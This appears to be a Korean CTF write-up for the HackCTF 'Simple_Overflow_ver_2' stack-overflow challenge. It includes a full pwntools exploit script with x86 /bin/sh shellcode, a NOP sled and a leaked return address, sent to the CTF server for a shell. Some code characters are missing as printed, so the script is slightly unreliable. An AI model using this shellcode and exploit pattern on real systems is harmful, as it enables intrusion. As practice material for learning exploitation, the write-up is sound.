HACKCTF - Simple_Overflow_ver_2

2020. 7. 14. 07:48CTF's Write-up

문제 사진

말그대로 간단한 오버플로우인가 하고 생각하고 들어갔습니다.

 

팁하나 추가로 드리면 64비트인지, 32비트인지 확인하고 시작하시면 좋습니다.

 

파일 세부사항

 

"file [파일명]" 입력하면 확인하실 수 있습니다.

그리고 64비트를 32비트ida에서 열었을 경우 tab이 안먹습니다. 이렇게 발견해도 되긴 합니다 ㅎㅎ

그럼 다시 본론으로 들어갈게요 ~

 

실행화면

 

값을 하나 입력받고, y를 누르면 계속 반복, n을 누르면 끝나는 그런 간단한 구조네요.

 

main 함수

 

main함수를 보면 이때까지 보았던것 과는 다르게 약간 복잡해 보입니다.

 

13번째에서 값을 입력받고, 그 아래는 출력하는 명령어인데 <-- 여기서 scanf 입력제한 X 취약점

21번째에서 주소를 출력해주니 저 주소를 잘 확인하면 될 듯 하네요.

 

 

보호기법 확인

NX가 없으니 쉘코드를 입력해서 실행하면 되겠네요.

 

요약하면

1. 0x90 적당히

2. 쉘코드

3. 0x90나머지만큼+SFP

4. 리턴주소

 

익스 코드는 아래와 같습니다.

확실한 nop sled를 구현하는걸 좋아해서 이렇게 작성했습니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3006)
#r = process("./Simple_overflow_ver_2")
= ELF("./Simple_overflow_ver_2")
#context.log_level = 'debug'
 
print(r.recv())
 
r.sendline("hello")
 
ret = int(r.recv(10), 16)
log.info("ret = "+ hex(ret))
 
print(r.recv())
 
r.sendline("y")
 
print(r.recv())
 
 
#25bytes
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
 
 
payload = ""
payload += "\x90"*(0x4)
payload += shell
payload += "\x90"*(0x88-25)
payload += p32(ret)
 
print(payload)
r.sendline(payload)
 
r.interactive()
cs

 

이를 실행하면

 

익스 성공

 

끝내고 나니 18번 줄이 도대체 왜 들어가 있는지 궁금했는데 정말 모르겠네요

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - Read File  (0) 2020.07.14
HACKCTF - 보물  (0) 2020.07.14
HACKCTF - x64 Simple_size_BOF  (0) 2020.07.13
HACKCTF - BF  (0) 2020.07.13
HACKCTF - Who am I?  (0) 2020.07.12